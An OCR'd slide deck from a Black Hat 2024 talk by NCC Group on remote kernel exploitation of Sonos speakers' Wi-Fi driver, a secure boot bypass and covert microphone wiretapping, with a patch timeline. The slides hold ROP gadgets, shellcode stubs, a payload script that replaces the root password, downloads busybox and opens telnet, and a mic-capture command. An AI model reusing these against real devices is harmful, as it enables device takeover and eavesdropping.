N \\\ | »/
black hat s
USA 202
AUGUST 7-8, 2024
BRIEFINGS

Listen Up: Sonos Over-The-Air
Remote Kemel Exploitation and
Covert Wiretap

Robert Herrera — NCC Group
Alex Plaskett — NCC Group

BBBBBBBBBBBBBBBBBBBBB



0

black hat
USA 2024

Robert Herrera — NCC Group Hardware/Embedded
Security Team (HES)

Alex Plaskett — NCC Group Exploit Development Group
(EDG)




bIQCK hat

USA 2024

Sonos One Sonos Era-100




black hat S -
USA 202
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« NCC EDG previously researched Sonos Generation 2 for Pwn20wn

* Found vulnerabilities of their own
 Combined technigues with public research by @bl4sty / Synacktiv etc.
« WI-FI driver was missing stack cookies!

e Sonos issued CVE-2023-50809

* Sonos S2 fix release 15.9 (October 17, 2023)
 Sonos Sl release 11.12 (November 15, 2023)

 MediaTek MT7615 fix release (CVE-2024-20018) - January 2024
« https://corp.mediatek.com/product-security-bulletin/March-2024



https://x.com/bl4sty
https://www.synacktiv.com/en/publications/dumping-the-sonos-one-smart-speaker
https://corp.mediatek.com/product-security-bulletin/March-2024
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 UART exposed
» TX of device gives boot log (and kernel panic output!)
« RX of device
» U-Boot password protected
* Nothing afterwards
* WI-Fi enabled by Wi-Fi Card connected via PCle slot
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» CONFIG _RANDOMIZE BASE is not set
* No stack canaries within compiled Kernel Modules
» Aarch64 ELF Kernel Modules
« SoftMac Wi-FI Stack — mt7615.ko
* MediaTek Wi-FI SoC
* Most of the Wi-FI implementation is parsed/handled
In the kernel module as opposed to firmware.
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« Sanity funcs called by respective - Enumerate “receive” functionality
state machine. « Some funcs may require PSK to

* Sonos Is the client In the connection trigger downstream logic
but does support its own AP mode Sfrunci. [ioca. |

APPeerAuthSanity.isra.1l unde... 0010...

: : ChannelSanit unde... 0016...

Name = Functlon Sig.._[Loc ChannelSwitcil\SanityCheck unde... 0015...
WscStateMachinelnit undefined ... ] MimeAddBAReqSanity unde. .. 0016...
WpastateMachinelnit undefined ... 001 MimeAssocReqSanity unde. .. OOLS...
StateMachineSetaction undefined ... 001 MimeAuthReqSanity unde... O0O016...
StateMachinePerformAction undefined ... QO] MimeDelBAReqSanity unde... 0016...
StateMachinelnit undefined ... 001 MimeScanReqSanity unde... 0016...
MimeRestartStateMachine undefined ... 001 NetworkTypelnUseSanity unde... 0016...
DfsStateMachinelnit undefined ... 00] PeerAddBARegActionSanity unde... O0Ol6...
BackgroundScanStateMachinelnit undefined ... 00: PeerAddBARspActionSanity unde... O0016...
AutoChselstateMachinelnit undefined ... 001 PeerAssocReqCmmSanity unde... 0010...
APSyncStateMachinelnit undefined ... 001 PeerAuthSanity unde... 0016...
ApclisyncStateMachinelnit undefined ... 001 PeerBeaconAndProbeRspSanity unde... 0016...
ApcClictriStateMachineinit undefined ... 001I PeerBeaconAndProbeRspSanity2 unde... O0016...
ApCliauthStateMachinelnit undefined ... 00] PeerDeauthSanity unde... 0016...
ApClisAssocStateMachinelnit undefined ... 001 PeerDelBAActionSanity unde... 0016...
APAuthStateMachinelnit undefined ... 00] PeerDisassocSanity unde... 0016...
APAssocStateMachinelnit undefined ..., 001 PeerProbeReqSanity unde... 0016...
ActionStateMachinelnit undefined ... 001 sanity_and_get_packet_type.isra.0 unde... 0015...

WpaMessageSanity unde... 0018...
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undefined WPAParseEapolKeyData(void *pAdapter,uchar *keyData,uchar keyDatalen,uchar DefaultKeyId,uchar MsgType,uchar
1sWPA2,void *pentry)
{
ulong key_length;
uchar gtk_buf [32];
uint gtk_length;
byte KDELen;

key_length = (ulong)keyDatalLen;

KDELen = keyData[l];

gtk_length = KDELen - 6 & Oxff;
key_length = (ulong)gtk_length;
(gtk_length < 5) {

0;
}
memmove(gtk_buf,keyData + 8,key_length);
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undefined WPAParseEapolKeyData(void *pAdapter,uchar *keyData,uchar keyDatalLen,uchar DefaultKeyId,
1sWPA2,void *pentry)
{
el L LEeE Value (N bytes: N = Length)
uchar gtk_buf [32];
uint gtk_length;
byte KDELen;

key_length = (ulong)keyDatalLen;

KDELen = keyData[l];

gtk_length = KDELen - 6 & Oxff;
key_length = (ulong)gtk_length;
(gtk_length < 5) {

0;
}
memmove(gtk_buf,keyData + 8,key_length);
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undefined WPAParseEapolKeyData(void *pAdapter.,uchar *keyData,uchar keyDatalLen,uchar DefaultKeyId,u
1sWPA2,void *pentry)

{

ulong key_length;
uchar gtk_buf [32]; Value (N bytes: N = Length)

uint gtk_length;
byte KDELen;
key_length = (ulong)keyDatalen;

KDELen = keyDatal[l];

gtk_length = KDELen - 6 & 0xff;
key_length (ulong)gtk_length;

(gtk_length < 5) {

0;

memmove(gtk_buf,keyData + 8,key_length);
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S 1.KeyData Is a series

undefined WPAParseEapolKeyData(void *pAdapter,uchar *keyData,uchar keyDatalen,uchar DefaultKeyId,uchar MsgType,uchar . .
{sWPAZ, void *pentry) Of Information

{
ulong key_length;

uchar gtk_buf [32]; elements-

uint gtk_length;
byte KDELen;

key_length = (ulong)keyDatalen; 2 .gtk_length — 255
KDELen = keyData[1]; .
tk_length = KDELen - 6 & 0xfT; When KDELen IS
key_length = (ulong)gtk_length; SpeCified aS 5.

(gtk_length < 5) {

3.No max bound on
gtk length
4.0Overflow!

}

memmove(gtk_buf,keyData + 8,key_length);
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WpaMessageSanity(void*param_1,byte*pWFrame,undefined8 param_3,uint param_4,uint *secure_context, void *param_6) {

(( (EAPOLmsgType & 6) == 2) || ((uVard & 0x700) == 0)) {
keydata_len = keydata_len & Oxffffffff00000000;

AES_Key_Unwrap(pWFrame+99,memove_length, ( long)secure_context + 0xlbe,0x10,keydata_buffer,&keydata_len);

{
TKIP_GTK_KEY_UNWRAP( ( Long)secure_context+0x1lbe,pWFrame+ 0x31,pWFrame + 99,memove_length,keydata_buffer);

s

ret=WPAParseEapolKeyData(param_1,keydata_buffer,(byte)keydata_len,GroupKeyIndex,
(uchar)uvVar2,uVar3 == 0,param_6);

}
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Triggering The Bug
] o

Association Request

de Unit Context Function Name

WpaMessageSanity UNCONDITION... PeerPairMsglAction ) Aesoriaon Response

WpaMessageSanity UNCONDITION... PeerPairMsg2Action < CAPOL Frame M1 Anonce
WpaMessageSanity UNCONDITION... PeerPairMsg3Action »

WpaMessageSanity UNCONDITION... PeerPairMsg4Action Shared EAPOL Frame M2 ”
WpaMessageSan;ty UNCONDITION... PeerGroupMsglAction ’ oL b

WpaMessageSanity UNCONDITION... PeerGroupMsg2Action

EAPOL Frame M4 >
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[ o } [ AP J « Keydata needs to be
, : successfully decrypted to
i g trigger bug.
« Keydata cannot be
decrypted in WPA2 until
. Adbcisin esiomse the Snonce and Anonce
Anonce are exchanged.
e « Vulnerable function must
be triggered in
Message 3 (M3).
« We can
T use wpa_supplicant in AP
' mode.

4

Association Request

€ EAPOL Frame M1

Y

Snonce EAPOL Frame M2
Shared

€ Malicious EAPOL Frame M3
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undefined WPAParseEapolKeyData(...) {
memmove (gtk buf, keyData + 8,key length);

WPAParseFEapolKeyData
STP X29, X30, [SP,#var 140]!

ADD X0, SP, #0x78 ; dest
BL memmove

WPAMessageSanity

ldp x19,x20, [sp, #local e0]

ldp x21,x22, [sp, #local dO]

ldp x23,x24, [sp, #local cO0]

ldp x25,x26, [sp, #local Db0]

ldp x27,x28, [sp, #local a0]

ldp x29=>local f0,x30, [sp], #0xf0
ret
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PeerPairMsg3Action (0x78)

undefined WPAParseEapolKeyData(...) {
memmove (gtk buf, keyData + 8,key length);

WPAParseFEapolKeyData ;
STP X29, X30, [SP,#var 140]! WpaMessage Sanity(0xf8)

ADD X0, SP, #0x78 ; dest
BL memmove

WPAMessageSanity

ldp x19,x20, [sp, #local e0]

ldp x21,x22, [sp, #local dO]

ldp x23,x24, [sp, #local cO0]

ldp x25,x26, [sp, #local Db0]
]

ldp x27,x28, [sp, #local a0

ldp x29=>local £0,x30, [sp], #0x£0 WPAParseEAPOLKeyData(0x140)

ret
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PeerPairMsg3Action (0x78)

undefined WPAParseEapolKeyData(...) {
memmove (gtk buf, keyData + 8,key length);

WPAParseFEapolKeyData ;
STP X29, X30, [SP,#var 140]! WpaMessage Sanity(0xf8)

ADD X0, SP, #0x78 ; dest
BL memmove

WPAMessageSanity

ldp x19,x20, [sp, #local e0]
ldp x21,x22, [sp, #local dO]
ldp x23,x24, [sp, #local cO0]
ldp x25,x26, [sp, #local Db0]
ldp x27,x28, [sp, #local a0]

ldp x29=>local £0,x30, [sp], #0x£0 WPAParseEAPOLKeyData(0x140)

ret

GTK Buffer (0x16 bytes)
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PeerPairMsg3Action (0x78)

undefined WPAParseEapolKeyData(...) {
memmove (gtk buf, keyData + 8,key length);

WPAParseFEapolKeyData .
STP X29, X30, [SP,#var 140]! WpaMessage Sanity(0xf8)

ADD X0, SP, #0x78 ; dest
BL memmove

WPAMessageSanity Direction of GTK Buffer (Oxff bytes)

ldp x19,x20, [sp, #local e0] Overﬂow
ldp x21,x22, [sp, #local dO]
ldp x23,x24, [sp, #local cO0]
ldp x25,x26, [sp, #local Db0]
ldp x27,x28, [sp, #local a0]

WPAParseEAPOLKeyData(0x140)
ldp x29=>local f0,x30, [sp], #0xf0

ret
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WPAParseEapolKeyData
STP X29, X30, [SP,#var 140]!

ADD X0, SP, #0x78 ; dest
BL memmove

WPAMessageSanity

ldp x19,x20, [sp, #local e0

ldp x21,x22, [sp, #local dO

ldp x23,x24, [sp, #local cO

ldp x25,x26, [sp, #local b0

ldp x27,x28, [sp, #local a0]

ldp x29=>local £f0,x30, [sp], #0xfO0
ret

WpaMessageSanity delta = 0x140 — 0x78 = 0xc8 bytes

Controlled_registers = Oxff — Oxc8 = 0x37 bytes (~7 registers)

WpaMessage Sanity(0xf8)

LR - X23

Scratch space (0xc8 bytes)

WPAParseEAPOLKeyData(0x140)
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[ 21.572955@0] Internal error: Oops - SP/PC alignment exception: 8a000000 [#1] PREEMPT SMP
[ 21.575598@0] Modules linked in: bridge ath driver(P0) sdd(0) cypress swd(P0O) caamkeys(P0O) ampctl(0)
ueue(0) event queue(0) sonos device(0) utils(0) blackbox(0) mt7615 ap(0) i2c_eeprom(0)

[ 21.600789@0] CPU: © PID: 1695 Comm: RtmpMlmeTask Tainted: P 0 4.9.99 #1
[ 21.608516@0] Hardware name: Sonos-Tupelo V4 (DT)

[ 21.613185@0] task: ffffffc000251b00 task.stack: ffffffc03ae30000

[ 21.619229@0] PC is at Oxfacefadedeadbeef

[ 21.623190@0] LR is at Oxfacefadedeadbeef

[ 21.627156@0] pc : [<facefadedeadbeef>] 1lr : [<facefadedeadbeef>] pstate: 80000145

[ 21.634647@0] sp : ffffffcO3ae33¢c90

[ 21.638099@0] x29: a0afNafalafab9090 x28: OOOOOOOOOOOOOOOO

[ 21.643530@0] x27: 0000000000000001 x26: ffffff80019cb788

[ 21.648964@0] x25: ffffff800ad4eb674 x24: 0000000000000001

[ 21.654397@0] x23: ff0o0ddo090969090 x22: 8080808080808080

[ 21.659831@0] x21: 7070707070707070 x20: 6060606060606060

[ 21.665264@0] x19: 5050505050505050 x18: 000000000000001f

[ 21.670697@0] x17: 00000000000300d3 x16: 000OOOOOOOOOOOO8

[ 21.676131@0] x15: 000000000002bc1ll x14: 00OOOOOCOOOOOOO8

[ 21.681564@0] x13: 0000000000000400 x12: O0OOOOOOOOOOOOOOO

[ 21.686998@0] x11: 00000O0OOOOOCO000 x10: 0OOOOCOOOOOOOOOO

[ 21.692434@0] x9 : ffffffcO3ff927cO x8 : 3020202020202020

[ 21.697866@0] x7 : 2010101010101010 x6 : ffffff800aS5aaas7

[ 21.703300@0] x5 : ffffffcOOO1cOO00 x4 : OOOOOOOOOOOOOOOO

[ 21.708732@0] x3 : 0000000000000001 x2 : 000OOOOO0O000001

[ 21.714168@0] x1 : ffffffco00251b00 xO0 : 0000000000001

eTNaleYrla
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21.572955@0] Internal error: Oops - SP/PC alignment exception: 8a000000 [#1] PREEMPT SMP
21.575598@0] Modules linked in: bridge ath driver(P0) sdd(0) cypress swd(P0O) caamkeys(P0O) ampctl(0)

eue(0) event queue(0) sonos _device(0) utils(0) blackbox(0) mt7615 ap(0) i2c_eeprom(0)

21.
21.
.613185@0]
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
21.
2y,
21.
21.

21

600789@0]
608516@0 ]

619229@0]
623190@0]
627156@0]
634647@0]
638099@0 ]
643530@0]
648964@0 ]
654397@0]
659831@0]
665264@0 ]
670697@0]
676131@0]
681564@0]
686998@0 ]
692434@0]
697866@0 ]
703300@0]
708732@0]
714168@0]

eTNaleYrla

CPU: © PID: 1695 Comm: RtmpMlmeTask Tainted: P

Hardware name: Sonos-Tupelo V4 (DT)

task: ffffffcoee251b00 task.stack: ffffffc03ae30000

PC is at Oxfacefadedeadbeef
LR i1s at Oxfacefadedeadbeef

0

4.9.99 #1

: [[<facefadedeadbeef>] Lr : [<facefadedeadbeef>] pstate: 80000145

fffffc®3ae33¢c90

3030a0a0a30a309090 x28: GOOOOEOOOEOOLEOO
5: FFffff80019cb788

0000000000000001
ffffff800ad4eb674
ff00dd96090969090
70707070706707070
5050505050505050
00000000000300d3
000000000002bc11
: 0000000CO000L0400
: 00000OOOOOOLOO0O
: fIffffco3ff927co
20101010101061010
TTTTTTCOO01CO0O00
0000000000000001
ffffffc000251b00

0OOOOOOOOOOOOO1

4: 0000000000000001
: [BO80808080808080

:
0000000000000008
0000000000000008
0000000000000000
0000000000000000
3020202020202020
Trffff860a5aaas7
0000000000000000

0000000000000001
0000000000000001

PCis controlled
X19-X23

Upon

crashing, X23 is
normally an
address, so MSB is
always set to Oxff.
Downstream
corruption occurs
but mitigated by
adding extra IEs to
exit function
early.
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1. Exploit device in one packet for speed purposes (i.e. RCE in One-
packet?).
* How do we increase our ROP Payload with only 7 controlled
registers?
* Will the entire payload fit in one packet?

2. Take control of the device wirelessly.
* What does this look like with an induced handshake

failure? (caused by early exit)
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i = v v = w

755 24.,1145.. EdimaxTe_T7e:2a:56 Sonos_6e:3.. EAPOL 481 Key (Message 3 of 4)
756 24.1147.. EdimaxTe_7.. 882.11 70 Acknowledgement, Flags=....
757 24.1183.. EdimaxTe_7e:2a:56 Sonos_6e:3.. EAPOL 481 Key (Message 3 of 4)

Frame 757: 4B1 bytes on wire (3848 bits), 481 bytes captured (3848 bits) on interface wlp@:
Radiotap Header v@, Length 56
802.11 radio information

IEEE 802.11 QoS Data, Flags: ......F.C
Logical-Link Control
802.1X Authentication

Version: B02.1X-2004 (2)

Type: Key (3)

Length: 383

Key

Descriptor Type: EAPDL RSN Key (2)

[Message number: 3]

r Key
Key

Information: ©x13ca
Length: 16

Replay Counter: 5

WPA
Key
WPA
WPA
WPA
WPA
WPA
F WPA

Key Nonce: 38229d2d85bfd30625dTbeaB6dBfdl1618defcB0476b6a9473e31a14c33727601

IV: 00PRPEEEREO0EREEERO0EROEERODRREEER

Key RSC: 00ROOOROOOROOOOO

Key ID: 4242424242424242

Key MIC: ab502f12e42cfd202e08e0c3f47b9604

Key Data Length: 272

Key Data: f613c944a2f9755a8aeb54e71ee92756T4fdata95eec8foc250T15d00940257eb55Ff0el..,
EAPOL Extraneous Data: 41414141414141414141414141414141

Exploitation Strategies

« ~2Kk bytes for
max packet size
* Unused Parameters

(Key RSC, ID)

* We can append
unencrypted data after
the KeyData
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« SPis located In

Considerations:

PeerPairMsg3Action's
stack frame when PC Is * No KASLR
controlled  No Stack Canaries
« EAPOL Ptris at * Non-executable heap
SP+0x18
Stack Frame
WPAParseEAPOLKeyData WPAMessageSanity PeerPairMessage3Action
ROP/JOP Gadgets LR-X23
GTK Buffer SP EAPOL Ptr
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o 01 b

. Acquire pointer EAPOL

Frame

. Use ROP/JOP to stack

pivot

. Use EAPOL frame heap

pointer for ROP +
shellcode

. Take control of device
. Continuation of execution
. Re-Initiate

handshake normally to
connect to compromised
device over Wi-Fi

EAPOL
Frame

ROP Stack Pivot

Utilize unused key
parameters in EAPOL ——
for extra ROP space

A4

Heap
pointer to

EAPOL
Frame

Encrypted
Key Data

Corrupt ImL Element

with start of ROP
chain.

ROP
Stack
Pivot

Additional Space for ROP and Shellcode

,
\

SIaL of

Extraneous
EAPOL
Data
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WPAParseEAPOLKeyData

Stack Frame

WPAMessageSanity

PeerPairMessage3Action

ROP/JOP Gadgets

LR-X23

3

GTK Buffer

s

SP

1

EAPOL Ptr
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Retrieve
EAPOL Ptr
Stack Frame
WPAParseEAPOLKeyData WPAMessageSanity PeerPairMessage3Action
ROP/JOP Gadgets LR-X23 SP+0x18
GTK Buffer SP EAPOL Ptr

ldp x19, x20, [sp, #0x10]; mov x3, x24; movz x2, #0; movz w0, #0; blr x23;
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Retrieve Adjust Stack
EAPOL Ptr Pointer
Stack Frame
WPAParseEAPOLKeyData WPAMessageSanity PeerPairMessage3Action
ROP/JOP Gadgets LR-X23
SP = GTK Buffer EAPOL Ptr

sub sp, sp, x2; add x19, sp, x4; bic x19, x19, x4; mov x1, x19; blr x5;
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Retrieve Adjust Stack Save Original
EAPOL Ptr Pointer Stack Pointer

Stack Frame

WPAParseEAPOLKeyData WPAMessageSanity PeerPairMessage3Action

ROP/JOP Gadgets LR-X23

1

SP = GTK Buffer E EAPOL Ptr

add x0, sp, #0x87; blr x22;
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Retrieve Adjust Stack Save Original Adjust EAPOL
EAPOL Ptr Pointer Stack Pointer Pointer

EAPOL Pointer

802.11 Header EAPOL Frame Encrypted Key Data ROP Payload Shellcode

X0 X26

add x26, x19, x0; cmp x0, x2; b.hs #0x2c1140; add x1, x19, x1; mov x0, x26; blr x21;
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Retrieve Adjust Stack Save Original Adjust EAPOL Pivot Stack
EAPOL Ptr Pointer Stack Pointer Pointer Pointer

Stack Frame

802.11 Header EAPOL Frame Encrypted Key Data ROP Payload Shellcode

SP

mov sp, x26; stp x29, x19, [sp, #-0x10]!'; mov x29, sp; blr x1;
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Retrieve Adjust Stack Save Original Adjust EAPOL Pivot Stack
EAPOL Ptr Pointer Stack Pointer Pointer Pointer

Stack Frame

802.11 Header EAPOL Frame Encrypted Key Data ROP Payload Shellcode

Not1
SP executable

yet :(
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e set_memory_ Xx: arbitrary virtual address
space to be marked as executable,
which is perfect for our use case. Encrypted Key Data

ROP Payload

Shellcode

« We simply provided the pointer to
EAPOL pointer as the first parameter of

the set_memory_x function. I
« Heap should now be executable. Sp
1| _inté4 _ fastcall set_memory x(unsigned __intée4d al, _ _inté64 a2)
{

w N

: return change_memory_ common(al, a2, OLL, 0x20000000000000LL);
40}

s

Executable :D
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{

_inté64 _ fastcall run_emd|___int 64 al)
char *#vl; /f/ =0
char *#*v2; [/ x12
unsigned int v3; [/ w:

vl = (char **)argv_split (0x24000C0LL, al, OLL);
{
= call_usermodehelper (*vl, L, &gword FFFFFFE00JEBBFE&O[E], 1u);
argv_free (vi);
}
elsge
{
= =12
}
return

Leverage existing use of call_usermodehelper in kernel
within ‘run_cmd".

* Reuse envp

* Set to non-blocking: UMH_NOWAIT(0)

x0, ARRO;
x1, STO;
x1, [x0];
x0, ARRL;
x1, ST1;
x1, [x0];

x19, ={hex(call_usermodhelper_addr)};
w3, #0; # UHM_NOWAIT

x2, ={hex(usermodehelper_envp_pp)};
x0, STO;

x1, ARRO;

x19;

STO:

.string "/bin/sh";
ST1:

.string "-c";

ST2:

.string "{cmd}";
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e So0nos prevents remounting partitions and executable in kernel (even
as root)

.kernel:FFFFFF80091FFA90 EXPORT sonos_allow_mount_exec

.kernel:FFFFFF80091FFA90 sonos_allow_mount_exec ; CODE XREF:
.kernel:FFFFFF80091FFA90 ; DATA XREF: .kernel:FFFFFF8009C56410:10

.kernel:FFFFFF8O091FFA90 80 64 00 FO ADRP X0, #byte FFFFFF8009E9236AQPAGE
.kernel:FFFFFFBO091FFA94 00 A8 4D 39 LDRB WO, [X0,#byte FFFFFF8009E9236A@PAGEOFF]

.kernel:FFFFFFB80091FFA98 CO 03 5F D6 RET

« System boot sets to 0, patch it back to 1.

ldr x5, ={hex(allow_mount_exec)};

mov X3, #1;
str x3, [x5];
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* payload.sh

mkdir /jffs/etc-copy
cp -r /etc/* /jffs/etc-copy/
mount -o bind /jffs/etc-copy /etc

sed -1 -e
‘s/root:.*:0:0:root:/root:$6$q000GYrCKthS1.QP$vsfCbhcrpM8Y3rLGLIWXxCS8KGXnsdD4by2fD

6gYcDul3zCBEpHHMHVKeKpoxm0IgHzdXS5VRMs0zwl7qZr5eW1:0:0:root:/"' /etc/passwd

wget —q -0 /jffs/busybox http://192.168.1.38:8000/busybox
mount -o remount,exec /jffs

chmod +x /jffs/busybox

/jffs/busybox telnetd

/bin/busybox telnetd




bla‘n?:k hat

USA 2024

card: 0

device: 1
subdevice: 0
stream: CAPTURE

id: PDM-1-mic 1-mic-1
name:

subname: subdevice
class: 0

subclass: 0
subdevices count: 1
subdevices avail:

/lib/libsyslib_hal.so.1:

* hal_mics_open to first obtain a

nandle for the microphone.

* hal _mics_mute(&handle,micid
A 0); to unmute the
microphone

./arecord -D plughw:0,1 -c 8 -r 16000 -f s32_le > .wav
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» Started researching Sonos One for Pwn20wn

* Sonos released a new flagship device (Era-100)

* Research performed previously at NCC (with llya
Zhuravlev between May 2023 — July 2023)

 Sonos issued CVE-2023-50810

* Sonos S2 fix release 15.9 (October 17, 2023)
* Sonos Sl release 11.12 (November 15, 2023)
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Sonos Era-100 - Secure Boot Bypass

 First located UART
 Amlogic S767

* https://x.com/bl4sty created
https://github.com/blasty/sonos/tree/main/sonostool for downloading
and decrypting firmware.

* Opensource version only supports gen 1 firmware
« Added support for downloading and decrypting Era-100 firmware.
» Sonos uses model specific keys which we don’t have yet..



https://x.com/bl4sty
https://github.com/blasty/sonos/tree/main/sonostool
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« eMMC mostly encrypted * We only need CMD, CLK, DATO

« Secure Boot implemented and GND

 Aim s to enable in-circuit eMMC < Probe termination resistors and
dump + modifications test pads near EMMC to SOC

e CLK and CMD obvious, DATO not

18118 40 AR AL T AR

| 16
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Sonos Era-100 - Secure Boot Bypass

* Could only identify 3 out
of 4 data pins
Using logic analyzer, we
can see which has data
on first (DATO)
INT pin Is Important
* Interrupt bootloader

(stuck in BootROM)

?
f
!
3
B
&
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« Sonos uses modified U-Boot implementation

* Locked down with password + restricted commands
» Plaintext from Sonos One devices

* Era-100 U-Boot is encrypted using keys in EL3 we don't have yet
* R/W capablility on eMMC now!

*%*x Warning - bad CRC, using default environment

 |ssue 1 — Tries to load env from flash at offset 0x500000
« CONFIG _ENV IS NOWHERE not set

« Means we can set “bootcmd”
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bootcmd
sonoshoot Linux Kernel

o O O

bootm (uses U-
boot env)

setenv("bootargs",(char *)kernel_cmdline);

sonosboot -
responsible for loading
and validating kernel,
then passing to
“bootm”

bootm uses u-boot env
and passes to Linux
kernel

sonosbhoot falls to
check setenv return
code when validating
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- Exploit with “.flags=bootargs:sr”
= Makes bootargs read only (sonosboot can’t modify). iy, SR

«  Construct stored environment which sets the first bootarg e rine
read-only g

«  “sonosboot” will then proceed into “bootm” and it will start the S —
Linux kernel with fully controlled command-line arguments. g

"initrd=0x108248,8x{:X}".format(len(initramfs)),
« We want custom code loaded! Use initrd=0xADDR,0xSIZE TIRR> SP TOAI
which loads an initram fs overriding the original

« Where can we store this as we need controlled data at a 1 -
fixed address for this command? “nostname=arm_gxto,
“loadacddr=0x2180023",
"boctargs={}".format(kcmdline),

s=bootargs:sr",

envvars = b"\x29".join(x.encode("ascii") for x in envvars)
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/\t) r] E; . i] (j Start Address End Address File Name Partition Size
[ ]
use the custom Sonos Image header " <1> | 00 0080 0000 | 00 017F FFFF |UserPart_1.BIN | 16384 k8
IV <2> | 00 1100 0000 | 00 11FF FFFF |kern nhack.bin | 16384 kB
« According to U-Boot logs, this is always loaded at [ <s> [ 00 0060 0000 [ 00 0ol FrFF | [Userparc 3.BiN | _ | 128 KB
[ <4> 00 DFFF 0000 00 E000 FFFF UserPart 4.BIN 128 KB
address 0x100000 | | | Z _
¥ <5> [ 00 0050 0000 [ 00 0051 FFFF [env_nack.bin [] 128 &8
L N
new_kern = bytearray(kern[@:8x48])
uint32_t magic; new_kern[@x8:8xC] = struct.pack("<I", 9x42 + len(initramfs))
uintlé_t version; new_kern += initramfs
uintl6_t bootgen; # s0d actual kernel :
int32_t kernel_offset; new_kern +=, <ern:'-:'-"T":_i:].tjsltr“.?‘i‘*.:“->:l?C_'l):
int32_t kernel_checksum; e R S L
u'1nt32_t kernel_length; new_kern += 5"'\x89" * (16 * 1824 * 1824 - len(new_kern))

with open(sys.argv[3], "wb") as outf:
outf.write(new_kern)

« kernel offset is normally 0x40 but not enforced by u-
boot
« Allows the signature check to pass and us to
« Set it to a higher value and fill the empty space with get a shell in the context of /init (root)
valid data.

 Flash the new images
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+ Sonos One Bl4sty found and exploited a seine £ Er
vulnerability in BL31 the EL3 secure monitor
iImplementation
https://qgithub.com/blasty/sonos/tree/main/el3 e
Xploit |
When we bought our Sonos Era-100 device, o s St 249
the factory firmware was vulnerable! e e T
* Need to patch the offsets to add the Era-100
» Allowed dumping of the OTP memory and
therefore cryptographic keys. e
- Modified sonostool to support decryption of Era- e B W,

100 images using these keys



https://x.com/bl4sty
https://github.com/blasty/sonos/tree/main/el3_exploit
https://github.com/blasty/sonos/tree/main/el3_exploit
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« Sonos devices have a decent level of security
o Learning from their past issues in HW/SW as the
products evolves
= e.g. PCle DMA/ Screamer attack not possible now
as Wi-Fi integrated on Era-100
= Additional U-boot hardening
= Hardening userland binaries
o OEM security is important
o Issues were patched quickly
o Automatic updates
o Not sure how many other devices run on MT7615
o Alarge range of Sonos devices affected by the
bootloaderissues
o Communication with Sonos was friendly and
responsive

Date Action
2023-09-20 Sonos One WiFi Vulnerability
Reported
2023-10-15 Sonos One (S1) WiFi Fix
Released
2023-11-17 Sonos One (S2) WiFi Fix
Released
2024-01-01 MediaTek Fix Released to
OEM Partners
2024-03-04 MediaTek Security Advisory
Released
Date Action
2023-09-04 Era-100 Secure Boot Issues
Reported
2023-10-15 Era-100 (S1) Secure Boot
Fix Released
2023-11-17 Era-100 (S2) Secure Boot

Fix Released
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